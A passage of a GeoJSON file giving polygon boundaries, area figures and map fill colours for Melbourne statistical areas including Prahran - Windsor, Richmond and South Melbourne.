7.8407097],[144.9035797,-37.8409081],[144.9033966,-37.8411484],[144.9032898,-37.8412285],[144.9032135,-37.8412971],[144.9032135,-37.8413887],[144.9032745,-37.8415985],[144.9034882,-37.8419304],[144.9038239,-37.8425674],[144.9041748,-37.8431702],[144.9043121,-37.8434677],[144.9044189,-37.8436508],[144.9046173,-37.8438492],[144.9046326,-37.8439178],[144.9047546,-37.844059],[144.9048615,-37.8442307],[144.904953,-37.8444786],[144.9050598,-37.8446884],[144.9051514,-37.8448105],[144.9052734,-37.8450089],[144.9055481,-37.8455009],[144.905777,-37.8458672],[144.9058533,-37.8460388],[144.9062042,-37.8466606],[144.9063263,-37.8467903],[144.9063416,-37.8469009],[144.9062805,-37.8469772],[144.9057312,-37.8473282],[144.9055786,-37.8474388],[144.9054871,-37.847538],[144.9055023,-37.8476601],[144.9056396,-37.8478203],[144.9057922,-37.8479004],[144.9059296,-37.8481102],[144.9064484,-37.848629],[144.9069977,-37.8491592],[144.9072418,-37.8494301],[144.9072418,-37.8494987],[144.9072113,-37.8495178],[144.907135,-37.8494797],[144.9068604,-37.8492393],[144.9064331,-37.8487701],[144.9060974,-37.8484497],[144.9056396,-37.8480072],[144.9051666,-37.847538],[144.9048157,-37.8471603],[144.9044037,-37.8467674],[144.9039917,-37.8463478],[144.9036407,-37.8460197],[144.9034576,-37.8458176],[144.903183,-37.8455582],[144.9023132,-37.8446274],[144.9020844,-37.8443909],[144.9019623,-37.8441505],[144.9016113,-37.8436394],[144.9009247,-37.8426971],[144.9008331,-37.8425903],[144.9002991,-37.8423576],[144.9001923,-37.8421707],[144.9000244,-37.8419991],[144.8999023,-37.8418007],[144.899704,-37.8415375],[144.8996582,-37.8414078],[144.8995972,-37.8412895],[144.8994904,-37.8411598],[144.8993225,-37.8410988],[144.8993835,-37.8409691],[144.8993683,-37.8407974],[144.8992615,-37.840519],[144.8991547,-37.8403893],[144.8983612,-37.841198],[144.8981171,-37.8407707],[144.897644,-37.8397408],[144.8974304,-37.8390198],[144.8972015,-37.8383408],[144.89711,-37.8375206],[144.8970795,-37.836338],[144.89711,-37.8349495],[144.89711,-37.8336792],[144.8971252,-37.8328094],[144.8971405,-37.8326302],[144.8972321,-37.8320198],[144.8973846,-37.8314095],[144.8976898,-37.8307877],[144.8983612,-37.829689],[144.89888,-37.8288689],[144.8996429,-37.8279305],[144.9005432,-37.8270683],[144.9016571,-37.8260803]]]}},{"type":"Feature","properties":{"SA2_NAME":"Prahran - Windsor","polygonId":67,"SA3_NAME":"Stonnington - West","AREASQKM":2.9054,"fillColor":"#56C667","strokeColor":"#56C667","strokeWeight":1},"geometry":{"type":"Polygon","coordinates":[[[145.00914,-37.8488693],[145.009201,-37.8488808],[145.0097809,-37.8489494],[145.0103607,-37.8490295],[145.0122833,-37.8492699],[145.0123138,-37.8492775],[145.0122986,-37.849369],[145.0122223,-37.8498688],[145.0121613,-37.8502274],[145.0120239,-37.8511696],[145.0119324,-37.851799],[145.0119171,-37.8518791],[145.0117493,-37.8529472],[145.0116577,-37.8535805],[145.0116119,-37.8539085],[145.0115509,-37.8543091],[145.0114899,-37.8546906],[145.0112457,-37.85606],[145.0109711,-37.8576508],[145.0109406,-37.8577805],[145.0108795,-37.85812],[145.0108643,-37.8582001],[145.0106964,-37.8591805],[145.0105133,-37.860218],[145.0101166,-37.8601685],[145.0095825,-37.8600998],[145.0093842,-37.8600693],[145.0088806,-37.8600006],[145.0087128,-37.8599777],[145.0083313,-37.8599281],[145.0078583,-37.8598709],[145.0070343,-37.8597603],[145.0068207,-37.8597298],[145.0059357,-37.8596077],[145.0056915,-37.8595772],[145.0051575,-37.8595085],[145.0048676,-37.8594704],[145.0041504,-37.8593674],[145.0040436,-37.8593597],[145.0028534,-37.8591995],[145.001358,-37.8589973],[145.0009918,-37.8589478],[145.0006256,-37.8588982],[145.0002441,-37.8588486],[144.9999237,-37.8588104],[144.999649,-37.8587685],[144.9993286,-37.8587189],[144.9986267,-37.8586273],[144.9981689,-37.8585701],[144.9980927,-37.8585587],[144.9973907,-37.8584595],[144.9967957,-37.8583794],[144.9958954,-37.8582573],[144.9953156,-37.8581772],[144.9937897,-37.8579788],[144.9932709,-37.8578987],[144.9929962,-37.8578491],[144.9927521,-37.8577995],[144.9924927,-37.8577194],[144.9922638,-37.8576393],[144.9920807,-37.8575706],[144.9919434,-37.8575096],[144.9918213,-37.85746],[144.9916077,-37.857338],[144.9909668,-37.8569603],[144.9908142,-37.8568687],[144.9906616,-37.8568001],[144.9904938,-37.8567276],[144.9903412,-37.8566589],[144.9901123,-37.8565903],[144.9898834,-37.8565292],[144.9896698,-37.8564873],[144.9876709,-37.8562279],[144.9865723,-37.8560791],[144.9859009,-37.8559875],[144.9854431,-37.8559303],[144.9833221,-37.855648],[144.9834595,-37.8547592],[144.98349,-37.8546791],[144.9835815,-37.8541298],[144.9837036,-37.8535004],[144.9838257,-37.8527489],[144.9839478,-37.8520699],[144.9840698,-37.8513603],[144.9840698,-37.8513184],[144.9841919,-37.8506584],[144.9843292,-37.8498383],[144.9845734,-37.8483391],[144.9847107,-37.8474083],[144.9847412,-37.8472481],[144.9847717,-37.8470497],[144.9849396,-37.8461189],[144.9850159,-37.8456802],[144.9860382,-37.8458099],[144.9869385,-37.8459282],[144.98703,-37.8459396],[144.9877167,-37.8460274],[144.9880219,-37.8460693],[144.9881592,-37.8460884],[144.9885559,-37.846138],[144.9887543,-37.8461685],[144.9893799,-37.8462486],[144.9895935,-37.8462677],[144.9900665,-37.8463287],[144.9904633,-37.8463898],[144.9914703,-37.8465195],[144.9917297,-37.84655],[144.9923401,-37.8466301],[144.99263,-37.8466682],[144.992981,-37.8467102],[144.9932709,-37.8467484],[144.9941254,-37.846859],[144.994751,-37.8469391],[144.9949951,-37.8469772],[144.9962311,-37.8471489],[144.9967194,-37.8472176],[144.9975433,-37.8473282],[144.9979095,-37.8473778],[144.998642,-37.8474808],[144.9989929,-37.8475189],[144.9993896,-37.84758],[145.0004425,-37.8477173],[145.0012054,-37.8478279],[145.0017548,-37.8479004],[145.0024109,-37.8479881],[145.0031738,-37.8480988],[145.0037689,-37.8481789],[145.0044556,-37.848259],[145.0053101,-37.8483696],[145.0062256,-37.8484879],[145.0067749,-37.8485603],[145.0071564,-37.8486099],[145.0074158,-37.8486481],[145.0078583,-37.8486977],[145.0086975,-37.8488083],[145.00914,-37.8488693]]]}},{"type":"Feature","properties":{"SA2_NAME":"Richmond (Vic.)","polygonId":75,"SA3_NAME":"Yarra","AREASQKM":6.2125,"fillColor":"#62CB5F","strokeColor":"#62CB5F","strokeWeight":1},"geometry":{"type":"Polygon","coordinates":[[[144.9909363,-37.8120308],[144.9909363,-37.8120193],[144.9910736,-37.8112488],[144.9911194,-37.8109398],[144.9911804,-37.8106194],[144.9913483,-37.8097305],[144.9919739,-37.8097191],[144.9923706,-37.8097191],[144.9925995,-37.8097382],[144.9928436,-37.8097572],[144.9937744,-37.8098488],[144.9938507,-37.8098602],[144.9945374,-37.8099289],[144.9952545,-37.810009],[144.9960327,-37.8100891],[144.9965668,-37.8101387],[144.9971619,-37.8102074],[144.997757,-37.8102684],[144.9983521,-37.8103294],[144.9990692,-37.8103981],[144.9995422,-37.8104477],[145.0006409,-37.8105583],[145.0023193,-37.81073],[145.0029449,-37.8107986],[145.0041199,-37.8109093],[145.0046844,-37.8109703],[145.0051117,-37.8110085],[145.0054626,-37.811039],[145.0062714,-37.8111191],[145.0064087,-37.8111305],[145.0070801,-37.8111992],[145.0073547,-37.8112297],[145.0084839,-37.8113403],[145.0096436,-37.8114471],[145.0097656,-37.8114395],[145.0101013,-37.8113976],[145.012207,-37.8116302],[145.0130005,-37.8117104],[145.0133057,-37.8117905],[145.0141449,-37.8120003],[145.0150757,-37.8120995],[145.0153809,-37.8121376],[145.0153961,-37.8121376],[145.0153503,-37.8122597],[145.015274,-37.8125305],[145.0151672,-37.8128586],[145.0150604,-37.8132477],[145.0149994,-37.8135185],[145.0149384,-37.8137589],[145.0149231,-37.8137779],[145.0148315,-37.8140602],[145.0147095,-37.81427],[145.0146179,-37.8144379],[145.0146027,-37.8144798],[145.0145111,-37.8146896],[145.0144501,-37.8148804],[145.0144196,-37.8151588],[145.0143738,-37.8154373],[145.0143738,-37.8154793],[145.0143738,-37.8155289],[145.0143738,-37.8155708],[145.0143738,-37.8156204],[145.0143738,-37.8157005],[145.014389,-37.8157387],[145.014389,-37.8158073],[145.0143738,-37.8159485],[145.0143738,-37.815979],[145.0143738,-37.8160172],[145.0143738,-37.81604],[145.0143738,-37.8160591],[145.0143738,-37.8160973],[145.0143738,-37.8161583],[145.0143738,-37.8161774],[145.014389,-37.8163185],[145.014389,-37.8164978],[145.0144196,-37.8166008],[145.0144501,-37.8168907],[145.0144958,-37.8172874],[145.0145111,-37.817379],[145.0145111,-37.8174095],[145.0145264,-37.8174286],[145.0145416,-37.8174896],[145.0145416,-37.8175392],[145.0145721,-37.8176003],[145.0146027,-37.8177185],[145.0146332,-37.8177795],[145.0146484,-37.8178596],[145.0146637,-37.8178978],[145.014679,-37.8179398],[145.014679,-37.8179703],[145.014679,-37.8179893],[145.0147095,-37.8180275],[145.01474,-37.8181076],[145.0147552,-37.8181686],[145.0147705,-37.8182182],[145.0147705,-37.8182907],[145.0147858,-37.8182983],[145.0147858,-37.8183098],[145.0147858,-37.8183708],[145.0147858,-37.8183975],[145.014801,-37.8184776],[145.0148163,-37.8185577],[145.0148315,-37.8186188],[145.0148468,-37.8187599],[145.0148621,-37.8188286],[145.0148621,-37.8188782],[145.0148773,-37.8189278],[145.0149078,-37.8190079],[145.0149384,-37.8191185],[145.0150146,-37.8194008],[145.0150299,-37.8194389],[145.0150299,-37.8194885],[145.0150299,-37.819519],[145.0150452,-37.8195572],[145.0150604,-37.8195877],[145.0150757,-37.8196297],[145.0151062,-37.8196983],[145.0151367,-37.8197594],[145.0151367,-37.8197708],[145.0152435,-37.8200989],[145.0152588,-37.8201675],[145.0153046,-37.8202705],[145.0154419,-37.8206291],[145.0154419,-37.8206406],[145.0154572,-37.8206673],[145.0155029,-37.820858],[145.0155334,-37.8209572],[145.015564,-37.8210487],[145.0156097,-37.8211899],[145.0156403,-37.8212585],[145.0157013,-37.8214874],[145.0157166,-37.8215179],[145.0157318,-37.8215485],[145.0157318,-37.8215599],[145.0157318,-37.8215675],[145.0157318,-37.8215904],[145.0157318,-37.8216286],[145.0157318,-37.8216476],[145.0157623,-37.8217697],[145.0157928,-37.821888],[145.0157928,-37.8220596],[145.0158081,-37.8221779],[145.0158081,-37.8222084],[145.0158234,-37.822258],[145.0158234,-37.8222694],[145.0158234,-37.8222809],[145.0158234,-37.8222885],[145.0158234,-37.8223],[145.0158234,-37.8223076],[145.0158234,-37.8223686],[145.0158386,-37.8223877],[145.0158386,-37.8224106],[145.0158386,-37.8224297],[145.0158386,-37.8224487],[145.0158539,-37.8224907],[145.0158691,-37.8225784],[145.0158691,-37.8225975],[145.0158691,-37.822628],[145.0158997,-37.8227882],[145.0158997,-37.8228607],[145.0159149,-37.8228989],[145.0159302,-37.822998],[145.0159302,-37.8230591],[145.0159302,-37.8230705],[145.0159302,-37.8230896],[145.0159302,-37.8231201],[145.0159302,-37.8231392],[145.0159454,-37.8231888],[145.0159607,-37.8232384],[145.0159607,-37.8232498],[145.0159607,-37.823288],[145.0159607,-37.8233109],[145.0160217,-37.8236885],[145.0160217,-37.8238106],[145.0160217,-37.8238373],[145.016037,-37.8239479],[145.0160522,-37.8240585],[145.0160522,-37.8240891],[145.0160675,-37.8241501],[145.0160675,-37.8242073],[145.0160828,-37.8243408],[145.016098,-37.824398],[145.0161133,-37.8244591],[145.0161285,-37.8244972],[145.0161285,-37.8245087],[145.0161591,-37.8245697],[145.0162354,-37.824688],[145.0162506,-37.8247108],[145.0163727,-37.8248787],[145.0164795,-37.8250198],[145.01651,-37.8250809],[145.0165405,-37.8251076],[145.016571,-37.8251495],[145.0166016,-37.8251686],[145.0166321,-37.8252106],[145.0166779,-37.8252487],[145.0167389,-37.8253174],[145.016861,-37.825428],[145.0170441,-37.8255806],[145.0172424,-37.8257179],[145.0173035,-37.8257675],[145.0173187,-37.8257904],[145.0174103,-37.8258476],[145.0174561,-37.8258781],[145.0175323,-37.8259277],[145.0177002,-37.8260193],[145.0177307,-37.8260307],[145.0177307,-37.8260307],[145.0177612,-37.8260498],[145.0177765,-37.8260498],[145.0177765,-37.8260574],[145.0178528,-37.826088],[145.0178833,-37.8260994],[145.0179138,-37.8261108],[145.0179291,-37.8261108],[145.0179901,-37.8261299],[145.0180206,-37.826149],[145.0181427,-37.8261681],[145.0181732,-37.8261795],[145.0182495,-37.8261986],[145.0183105,-37.82621],[145.0183411,-37.82621],[145.0183563,-37.82621],[145.0183716,-37.82621],[145.0184326,-37.82621],[145.0185242,-37.8261909],[145.0185394,-37.8261909],[145.0185699,-37.8261795],[145.0186462,-37.8261604],[145.0187531,-37.8261185],[145.0187683,-37.8261108],[145.0187988,-37.826088],[145.0188751,-37.8260574],[145.0189209,-37.8260384],[145.0189514,-37.8260307],[145.019104,-37.8259583],[145.0191803,-37.8259277],[145.0192108,-37.8259087],[145.0193939,-37.8258286],[145.0195923,-37.8257179],[145.0196228,-37.8256989],[145.0196533,-37.8256874],[145.0197601,-37.8256302],[145.0198822,-37.8255577],[145.0199432,-37.8255272],[145.02005,-37.8254776],[145.0201111,-37.8254395],[145.0201569,-37.825428],[145.0201874,-37.8254089],[145.0202484,-37.8253899],[145.0202789,-37.8253784],[145.0203552,-37.8253593],[145.0204315,-37.8253288],[145.0204468,-37.8253288],[145.0204773,-37.8253174],[145.0206146,-37.8252602],[145.0206604,-37.8252487],[145.0207214,-37.8252296],[145.0207672,-37.8252182],[145.020813,-37.8252106],[145.0210114,-37.8251686],[145.0211639,-37.8251572],[145.0213318,-37.8251801],[145.0214233,-37.8252296],[145.0218201,-37.8254204],[145.0218506,-37.8254509],[145.0219421,-37.8255081],[145.0219574,-37.8255196],[145.0219727,-37.8255272],[145.0220032,-37.8255501],[145.0220642,-37.8256607],[145.0221558,-37.825798],[145.022171,-37.8258286],[145.0221863,-37.8258476],[145.0222626,-37.8259773],[145.0222626,-37.8259888],[145.0223236,-37.826088],[145.0223389,-37.8261108],[145.0223694,-37.8261795],[145.0223999,-37.8262177],[145.0223999,-37.8262291],[145.0224304,-37.8262596],[145.0224609,-37.8263397],[145.0224762,-37.8263779],[145.0224762,-37.8263893],[145.0224915,-37.8264389],[145.0225067,-37.826519],[145.0225067,-37.8265305],[145.0225067,-37.8265381],[145.0225067,-37.8265495],[145.022522,-37.8265686],[145.022522,-37.8266602],[145.022522,-37.8266983],[145.022522,-37.8267174],[145.0225372,-37.8267593],[145.0225372,-37.8267975],[145.022583,-37.8269691],[145.0226135,-37.8270302],[145.0226898,-37.8272781],[145.0227203,-37.8273773],[145.0228271,-37.8276291],[145.0228577,-37.8276901],[145.0228729,-37.8277206],[145.022934,-37.8277893],[145.022934,-37.8278008],[145.0229492,-37.8278084],[145.0229645,-37.8278389],[145.0229797,-37.8278503],[145.0229797,-37.827858],[145.0229797,-37.8278694],[145.0230103,-37.8279076],[145.0230103,-37.827919],[145.0230255,-37.8279381],[145.023056,-37.82798],[145.0230713,-37.8279991],[145.0230865,-37.8280106],[145.0231323,-37.8280373],[145.0231628,-37.8280678],[145.0231628,-37.8280678],[145.0231781,-37.8280792],[145.0231934,-37.8280907],[145.0233154,-37.8281403],[145.0233917,-37.8281898],[145.0234375,-37.8282089],[145.0235138,-37.8282394],[145.0235748,-37.82827],[145.0235901,-37.8282776],[145.0236969,-37.8283386],[145.0237427,-37.8283577],[145.0237732,-37.8283806],[145.0238647,-37.8284187],[145.0239105,-37.8284302],[145.0239868,-37.8284798],[145.0240173,-37.8284988],[145.0241089,-37.8285408],[145.0246735,-37.8288879],[145.0247498,-37.8289375],[145.024765,-37.828949],[145.0247803,-37.8289604],[145.0248413,-37.8289909],[145.0249329,-37.8290482],[145.0250244,-37.8290901],[145.0251007,-37.8291283],[145.0252838,-37.8292198],[145.0254517,-37.8292999],[145.0259552,-37.8295288],[145.0259857,-37.8295403],[145.0260468,-37.8295708],[145.0260925,-37.8295898],[145.0261383,-37.8296089],[145.0261688,-37.829628],[145.0263519,-37.8297195],[145.0265198,-37.8298073],[145.0266418,-37.8298607],[145.0267639,-37.8299408],[145.0268402,-37.8299789],[145.0269165,-37.8300285],[145.0270538,-37.8301086],[145.0271301,-37.8301582],[145.0271912,-37.8301888],[145.0273438,-37.8302803],[145.0273895,-37.8303108],[145.0277252,-37.8305397],[145.0279694,-37.830719],[145.0280304,-37.8307495],[145.0280609,-37.83078],[145.028183,-37.8308792],[145.0281982,-37.8308907],[145.0282135,-37.8309097],[145.0282288,-37.8309288],[145.0282898,-37.8309784],[145.0282898,-37.8309898],[145.0283203,-37.8310089],[145.0283356,-37.8310394],[145.0283356,-37.8310394],[145.0283356,-37.8310509],[145.0283508,-37.831089],[145.0283508,-37.8311386],[145.0283508,-37.8311501],[145.0283508,-37.8311691],[145.0283508,-37.8311996],[145.0283508,-37.8312073],[145.0282898,-37.8313179],[145.0282288,-37.83144],[145.0281372,-37.8315506],[145.0281219,-37.8315582],[145.0279236,-37.8318176],[145.0278625,-37.8318672],[145.0277405,-37.8320274],[145.0275269,-37.8322296],[145.027298,-37.832489],[145.0270691,-37.8327293],[145.0270233,-37.8327675],[145.0269623,-37.8328209],[145.0269318,-37.8328476],[145.026886,-37.8328896],[145.0268402,-37.8329201],[145.0268402,-37.8329277],[145.0267029,-37.8330498],[145.0265045,-37.8332291],[145.026413,-37.8333092],[145.0263367,-37.8333702],[145.0263214,-37.8333893],[145.0262451,-37.8334503],[145.0261536,-37.833519],[145.025589,-37.8339272],[145.0253601,-37.8341103],[145.0252991,-37.8341599],[145.0252686,-37.8341789],[145.025238,-37.834198],[145.0252075,-37.8342094],[145.0251617,-37.8342285],[145.0251312,-37.8342476],[145.0249939,-37.8343201],[145.0249329,-37.8343506],[145.0248718,-37.8343773],[145.0247955,-37.8344078],[145.0246735,-37.8344574],[145.0246124,-37.8344879],[145.0245514,-37.8344994],[145.0244293,-37.8344879],[145.0239563,-37.8344307],[145.0235596,-37.8343697],[145.0232086,-37.8342896],[145.0229034,-37.8341675],[145.0226898,-37.8339996],[145.022522,-37.8337402],[145.0224304,-37.8334999],[145.0223694,-37.83321],[145.0222931,-37.8329773],[145.0222015,-37.8327675],[145.022171,-37.8326797],[145.0217133,-37.8323402],[145.0211639,-37.8321304],[145.0209961,-37.832058],[145.0207214,-37.8319893],[145.0202789,-37.8318787],[145.0200806,-37.8318176],[145.0198059,-37.8317375],[145.0194244,-37.8316574],[145.019165,-37.8316193],[145.0189056,-37.8316193],[145.0185699,-37.8316498],[145.0183105,-37.8317108],[145.0179596,-37.8318596],[145.0175629,-37.8320389],[145.0172729,-37.8321609],[145.0170288,-37.8322372],[145.0168152,-37.8322487],[145.0166473,-37.8322105],[145.0163422,-37.8320084],[145.016098,-37.8318901],[145.015686,-37.8316879],[145.0154114,-37.8315392],[145.0151215,-37.8313484],[145.01474,-37.8311386],[145.0143738,-37.8309402],[145.0141907,-37.8308601],[145.0139313,-37.8307495],[145.0137329,-37.8306999],[145.0134583,-37.8306198],[145.0131378,-37.8305397],[145.0129089,-37.8304977],[145.0127106,-37.8305092],[145.012619,-37.8305206],[145.0125122,-37.8305397],[145.0122833,-37.8306007],[145.0119629,-37.8307381],[145.0113831,-37.8310585],[145.0110168,-37.8312798],[145.0108337,-37.831459],[145.0106812,-37.8316879],[145.0106201,-37.8319397],[145.0105591,-37.8323898],[145.0105133,-37.8326607],[145.0104523,-37.8328705],[145.0102997,-37.8330688],[145.0100708,-37.8332672],[145.0098724,-37.8334198],[145.0096893,-37.833519],[145.0095367,-37.8335381],[145.0093384,-37.8335075],[145.00914,-37.8334389],[145.0090027,-37.8333282],[145.0088654,-37.833168],[145.0086212,-37.8327484],[145.0084991,-37.8325386],[145.0083618,-37.8323708],[145.0081635,-37.8321991],[145.0079041,-37.8320198],[145.0076752,-37.8318672],[145.007431,-37.8317909],[145.0071716,-37.8317299],[145.0067596,-37.8316574],[145.0064392,-37.8315697],[145.0062714,-37.8315277],[145.0061493,-37.8314896],[145.0061188,-37.8314705],[145.0057831,-37.8313599],[145.0054474,-37.8312607],[145.0051575,-37.8311882],[145.0048828,-37.8311691],[145.0045929,-37.8311691],[145.004364,-37.8312187],[145.0041199,-37.8313293],[145.003952,-37.83144],[145.00383,-37.8315697],[145.0037842,-37.8317795],[145.0038605,-37.832119],[145.0040283,-37.8326302],[145.0041504,-37.8330078],[145.0042419,-37.8333702],[145.0042572,-37.8336983],[145.0042419,-37.83395],[145.0041809,-37.8341675],[145.0040588,-37.8343086],[145.003891,-37.8344193],[145.0036621,-37.8344803],[145.0033417,-37.8345108],[145.0030212,-37.8344307],[145.0028839,-37.8342781],[145.0027313,-37.8341293],[145.002533,-37.8339806],[145.0021057,-37.8337898],[145.0014954,-37.8335991],[145.0010529,-37.8334885],[145.0006714,-37.8334579],[145.000351,-37.833519],[144.999939,-37.8336906],[144.9997406,-37.8337593],[144.9995117,-37.8338394],[144.9992065,-37.8339195],[144.9987335,-37.8339806],[144.9979706,-37.8340988],[144.9973602,-37.8342209],[144.996933,-37.8342705],[144.9966736,-37.8342972],[144.996582,-37.8342896],[144.9964142,-37.8342705],[144.9960632,-37.8342094],[144.995575,-37.8340302],[144.9949036,-37.8337898],[144.994339,-37.8335991],[144.9934235,-37.8334007],[144.9932709,-37.8333702],[144.9931793,-37.8333702],[144.993103,-37.8333588],[144.993042,-37.8333473],[144.992981,-37.8333473],[144.9927216,-37.8333206],[144.9924927,-37.8333092],[144.9922638,-37.8332787],[144.9920654,-37.8332672],[144.9918518,-37.8332481],[144.9916534,-37.8332176],[144.9914703,-37.8331795],[144.9913635,-37.833149],[144.9911957,-37.8330803],[144.9911346,-37.8330498],[144.9909058,-37.8328972],[144.9906311,-37.8325882],[144.9905701,-37.8325195],[144.9904938,-37.8323975],[144.9904327,-37.8323288],[144.990387,-37.8322296],[144.9903412,-37.8321304],[144.9902496,-37.8320198],[144.9901428,-37.8318596],[144.990036,-37.8317375],[144.9898529,-37.8315086],[144.9896698,-37.8312798],[144.9896088,-37.8311882],[144.9893951,-37.8309898],[144.9888153,-37.8303986],[144.9886017,-37.8301697],[144.9883728,-37.8299599],[144.987915,-37.8296204],[144.9879913,-37.829258],[144.9880524,-37.8289375],[144.9881287,-37.8285484],[144.9882355,-37.8279572],[144.988327,-37.8274994],[144.9883423,-37.8273697],[144.9884491,-37.8267899],[144.9886932,-37.8252983],[144.9887238,-37.8252373],[144.9888306,-37.8246193],[144.9889374,-37.8240395],[144.9890289,-37.8233986],[144.98909,-37.8231087],[144.9891357,-37.8227997],[144.9893341,-37.8216476],[144.989563,-37.8202782],[144.9896851,-37.8195572],[144.9897156,-37.8193779],[144.9897156,-37.8193398],[144.9897614,-37.8190575],[144.9898834,-37.818409],[144.9899597,-37.8178902],[144.9899902,-37.817688],[144.9900055,-37.8175507],[144.9900208,-37.8172798],[144.9900665,-37.8169594],[144.9900818,-37.8168678],[144.9902039,-37.8162575],[144.9902802,-37.8157883],[144.990448,-37.8148079],[144.9904785,-37.8146782],[144.9906311,-37.8137703],[144.9906616,-37.813549],[144.9907837,-37.81287],[144.99086,-37.8124199],[144.9909363,-37.8120308]]]}},{"type":"Feature","properties":{"SA2_NAME":"South Melbourne","polygonId":63,"SA3_NAME":"Port Phillip","AREASQKM":2.4948,"fillColor":"#86D549","strokeColor":"#86D549","strokeWeight":1},"geometry":{"type":"Polygon","coordinates":[[[144.949646,-37.8339996],[144.9487762,-37.8332291],[144.9479523,-37.832489],[144.9474335,-37.8320389],[144.9470673,-37.8317108],[144.9466858,-37.8313789],[144.9464264,-37.8311501],[144.946167,-37.8309784],[144.9456787,-37.8305588],[144.9450989,-37.8300591],[144.944809,-37.8298073],[144.9438629,-37.8289795],[144.9425201,-37.8278275],[144.941864,-37.8272705],[144.9408112,-37.8263588],[144.9407959,-37.8263397],[144.9410248,-37.8261795],[144.9411621,-37.8261185],[144.9412994,-37.8260689],[144.941391,-37.8259773],[144.9414368,-37.8257904],[144.9422913,-37.8258705],[144.9429626,-37.8259583],[144.9445801,-37.8262405],[144.9449921,-37.8263092],[144.945694,-37.8264008],[144.9461212,-37.8264503],[144.9465332,-37.826519],[144.9468689,-37.8265877],[144.9470215,-37.8266296],[144.9472504,-37.8266792],[144.9474945,-37.8267479],[144.9475861,-37.8267403],[144.9477234,-37.8267403],[144.9478607,-37.8267479],[144.9483032,-37.8268394],[144.9485779,-37.8268776],[144.9490204,-37.8269501],[144.9496002,-37.8270378],[144.950119,-37.8271179],[144.9512329,-37.8273201],[144.9518585,-37.8274193],[144.952179,-37.8274689],[144.9524841,-37.8275108],[144.9529724,-37.8275986],[144.9534149,-37.8276787],[144.9535217,-37.8276978],[144.9539795,-37.8277893],[144.9547119,-37.8279572],[144.9549866,-37.8280182],[144.9551697,-37.8280602],[144.9555206,-37.8281288],[144.9557953,-37.8281898],[144.9561005,-37.8282585],[144.9564667,-37.8283195],[144.9570465,-37.8283997],[144.9571838,-37.8284073],[144.9572601,-37.8284187],[144.9577789,-37.8284378],[144.9582062,-37.8284378],[144.9584503,-37.8284302],[144.9590759,-37.8283806],[144.9595184,-37.8283195],[144.9597931,-37.8282585],[144.9598389,-37.8283997],[144.9599457,-37.8283806],[144.9603119,-37.8283005],[144.9607849,-37.8281784],[144.9610291,-37.8281174],[144.9611206,-37.8281097],[144.96138,-37.8280602],[144.9616241,-37.8280602],[144.9617004,-37.8280792],[144.961853,-37.8280983],[144.9619751,-37.8281403],[144.9620514,-37.8281708],[144.9622803,-37.8282509],[144.9627228,-37.8285904],[144.9627838,-37.8285675],[144.9631805,-37.8288002],[144.9638367,-37.8294601],[144.9642029,-37.8298302],[144.964859,-37.8304977],[144.9651489,-37.83078],[144.9658356,-37.8314781],[144.9673462,-37.8310394],[144.9682922,-37.8307571],[144.9694061,-37.8304405],[144.9702148,-37.8302078],[144.9704132,-37.8301506],[144.9713135,-37.8298874],[144.9713287,-37.8301582],[144.9713287,-37.8304291],[144.9713593,-37.8306808],[144.9713593,-37.8307495],[144.9713898,-37.8310699],[144.971405,-37.8312187],[144.9714355,-37.8313789],[144.9714813,-37.8315277],[144.9715271,-37.8316803],[144.9715729,-37.8318405],[144.9716492,-37.8319778],[144.9717102,-37.8321304],[144.9717865,-37.8322792],[144.9716034,-37.8323288],[144.9716339,-37.832428],[144.9716644,-37.8325195],[144.9716949,-37.8326187],[144.9717102,-37.8327179],[144.9717407,-37.83284],[144.9717407,-37.8329697],[144.971756,-37.8330879],[144.971756,-37.8332901],[144.9717255,-37.8335304],[144.9717102,-37.8336678],[144.9716339,-37.8339081],[144.9716797,-37.834259],[144.9710693,-37.8351288],[144.970932,-37.8353195],[144.9707642,-37.8354988],[144.9706421,-37.8356285],[144.9705963,-37.8356781],[144.9703979,-37.8358688],[144.9701996,-37.8360405],[144.969986,-37.8362083],[144.9697723,-37.8363686],[144.9695435,-37.8365288],[144.9693146,-37.8366699],[144.969101,-37.8367805],[144.9688721,-37.8368988],[144.9686432,-37.8370094],[144.9684601,-37.8370895],[144.9682617,-37.8371696],[144.9680939,-37.8372383],[144.9678802,-37.8373108],[144.9676514,-37.8373795],[144.9667206,-37.8376579],[144.9658661,-37.8379707],[144.9657135,-37.8380394],[144.9655914,-37.838089],[144.965271,-37.8382072],[144.964859,-37.8383904],[144.9642639,-37.8386688],[144.9640045,-37.8387985],[144.9633789,-37.8391075],[144.9631348,-37.8392296],[144.9628754,-37.8393784],[144.9626312,-37.8395309],[144.9623718,-37.8396797],[144.9621277,-37.8398285],[144.9618835,-37.8399887],[144.9616394,-37.8401489],[144.9613953,-37.8403206],[144.9611969,-37.8404694],[144.9608002,-37.8407898],[144.9604492,-37.8410797],[144.9597321,-37.8416977],[144.9595032,-37.8418999],[144.959198,-37.8421593],[144.9586792,-37.8410492],[144.9581604,-37.8399773],[144.957901,-37.8393898],[144.9576263,-37.8387985],[144.9571686,-37.8378181],[144.9568939,-37.8372307],[144.954422,-37.8379478],[144.9524841,-37.8385086],[144.9523926,-37.8385506],[144.952301,-37.8386078],[144.9522095,-37.8386497],[144.9521332,-37.8386993],[144.9520416,-37.838768],[144.9519501,-37.8388405],[144.951889,-37.8389091],[144.9518433,-37.8389778],[144.9517822,-37.8390503],[144.9517517,-37.8391304],[144.9517212,-37.8392296],[144.9516907,-37.8393288],[144.9516907,-37.8394089],[144.9516907,-37.839489],[144.9517059,-37.8395882],[144.9517212,-37.8396683],[144.9517517,-37.8397484],[144.9518433,-37.8399277],[144.9510803,-37.8401489],[144.95047,-37.8403282],[144.9500427,-37.8404579],[144.9492188,-37.8406906],[144.9488525,-37.8407974],[144.947052,-37.84132],[144.9465179,-37.8410072],[144.9468994,-37.8401985],[144.9474792,-37.8389702],[144.9479828,-37.8378983],[144.9480743,-37.8376999],[144.9484711,-37.8368492],[144.9485168,-37.83675],[144.9487915,-37.8362007],[144.9488373,-37.8360901],[144.9488831,-37.835968],[144.9493561,-37.8349495],[144.9497528,-37.8340874],[144.949646,-37.8339996]]]}},{"type":"Feature","properties":{"SA2_NAME":"South Yarra - East","polygonId":68,"SA3_NAME":"Stonnington - 